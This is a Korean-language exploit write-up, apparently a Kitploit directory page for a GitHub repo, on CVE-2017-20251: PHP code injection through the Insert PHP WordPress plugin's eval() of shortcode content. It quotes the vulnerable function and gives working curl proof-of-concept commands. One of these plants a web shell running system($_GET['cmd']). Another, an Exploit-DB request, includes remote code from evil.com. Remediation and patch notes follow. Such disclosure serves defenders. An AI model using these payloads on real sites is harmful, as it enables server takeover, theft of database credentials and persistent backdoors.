Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2017-20251 — Insert PHP Plugin PHP Code Injection | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

Insert PHP Plugin PHP Code Injection

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-20251: Insert PHP 플러그인 PHP 코드 삽입

취약점 제목

Insert PHP 플러그인의 숏코드 처리를 통한 인증 없는 PHP 코드 삽입

기본 정보

필드값
CVE IDCVE-2017-20251
플러그인Insert PHP (현재 Woody Code Snippets)
영향받는 버전< 3.3.1 (1.3에서 테스트됨)
CWECWE-94 (코드 삽입)
CVSS v3.19.8 (치명적)
CVSS 벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
공개 정보공개 (Exploit-DB 41308)

설명

Insert PHP 플러그인 버전 3.3.1 이전 버전에서는 숏코드 삽입 취약점을 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 이 플러그인은 [insert_php]...[/insert_php] 숏코드를 등록하며, 숏코드 태그 내부의 내용을 PHP의 eval() 함수를 사용해 아무런 무결성 검사나 유효성 검사 없이 직접 평가합니다.

REST API, XML-RPC를 통해 또는 기여자/관리자 권한으로 글을 생성하거나 수정할 수 있는 공격자는 콘텐츠를 렌더링하는 모든 페이지나 글에 임의의 PHP 코드를 삽입하여 웹 서버에서 완전한 원격 코드 실행을 달성할 수 있습니다.

기술 분석

근본 원인

취약점은 the_content 필터로 등록된 will_bontrager_insert_php() 함수에 존재합니다.

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- 취약
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

주요 문제점:

  1. 숏코드 내용이 어떠한 무결성 검사 없이 eval()에 직접 전달됨
  2. 인증 또는 권한 확인이 수행되지 않음
  3. 콘텐츠가 합법적인 스니펫 글에서 온 것인지 검증하지 않음
  4. 필터가 우선순위 9로 실행되어 다른 워드프레스 필터보다 먼저 콘텐츠를 처리함

공격 경로

  1. 초기 접근: 공격자가 [insert_php] 숏코드가 포함된 악성 콘텐츠로 글을 생성하거나 수정
  2. 전달: 숏코드가 글 콘텐츠로 워드프레스 데이터베이스에 저장됨
  3. 실행: 사용자가 페이지를 볼 때 워드프레스가 the_content 필터를 실행
  4. 영향: eval()이 서버에서 임의의 PHP 코드를 실행

악용 조건

  • Insert PHP 플러그인 버전 < 3.3.1이 설치 및 활성화된 워드프레스 사이트
  • 공격자가 글을 생성하거나 편집할 수 있는 권한 (기여자 역할 이상)
  • 워드프레스 < 4.7에서는 REST API가 인증 없이 글 생성을 허용 (완전한 무인증 RCE 가능)
  • 워드프레스 >= 4.7에서는 REST API 글 생성에 인증이 필요

영향

심각도: 치명적

웹 서버에서 완전한 원격 코드 실행:

  • 서버에서 임의의 PHP 코드 실행
  • 웹 서버 사용자가 접근 가능한 모든 파일 읽기/쓰기
  • wp-config.php에서 데이터베이스 자격 증명 획득
  • 웹 셸 또는 백도어 설치
  • 다른 시스템으로 피벗
  • 기밀성, 무결성, 가용성의 완전한 손상

PoC - Curl 명령

1단계: 악성 숏코드가 포함된 글 생성 (인증됨)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

2단계: 글 방문하여 코드 실행 트리거

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

3단계: 코드 실행 확인

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

대안: 직접 eval() 테스트 (간단 증명)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Exploit-DB 참조 (인증 없음, WP < 4.7)

REST API가 인증 없이 글 생성을 허용했던 구형 워드프레스 버전의 경우:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

응답 예시

취약한 숏코드가 처리되면 PHP 코드가 eval()에 의해 실행됩니다. 마커 파일 테스트의 경우:

root@kitploit:~
요청: [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]가 포함된 글 생성
응답: 글이 성공적으로 생성됨

요청: GET /?p=POST_ID
응답: 페이지가 렌더링되고, PHP 코드가 실행되며, 서버에 marker.txt가 생성됨

확인:
$ cat /var/www/html/marker.txt
SUCCESS

권장 수정 조치

  1. 즉시: Insert PHP 플러그인을 제거하거나 버전 3.3.1 이상으로 업그레이드
  2. 대체 플러그인: 안전한 실행 컨텍스트를 사용하는 WPCode와 같은 현대적인 코드 스니펫 플러그인 사용
  3. PHP 스니펫을 반드시 사용해야 하는 경우: 신뢰할 수 있는 관리자만 글을 생성/수정할 수 있도록 하고, 비관리자에게 REST API를 비활성화하는 것을 고려
  4. 강화: DISALLOW_UNFILTERED_HTML 상수 설정 (단, 이는 문제를 완전히 완화하지는 않음)

패치 분석

패치된 버전(3.3.1+):

  • 숏코드 이름이 [insert_php]에서 [wbcr_php_snippet]으로 변경됨
  • 직접적인 eval() 사용이 제거되고 안전한 실행 컨텍스트가 도입됨
  • REST API 엔드포인트에 인증 확인 추가
  • 실행 전 스니펫 ID 검증 구현

참고 자료

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • 워드프레스 플러그인 페이지
  • CWE-94: 코드 삽입
도구 다운로드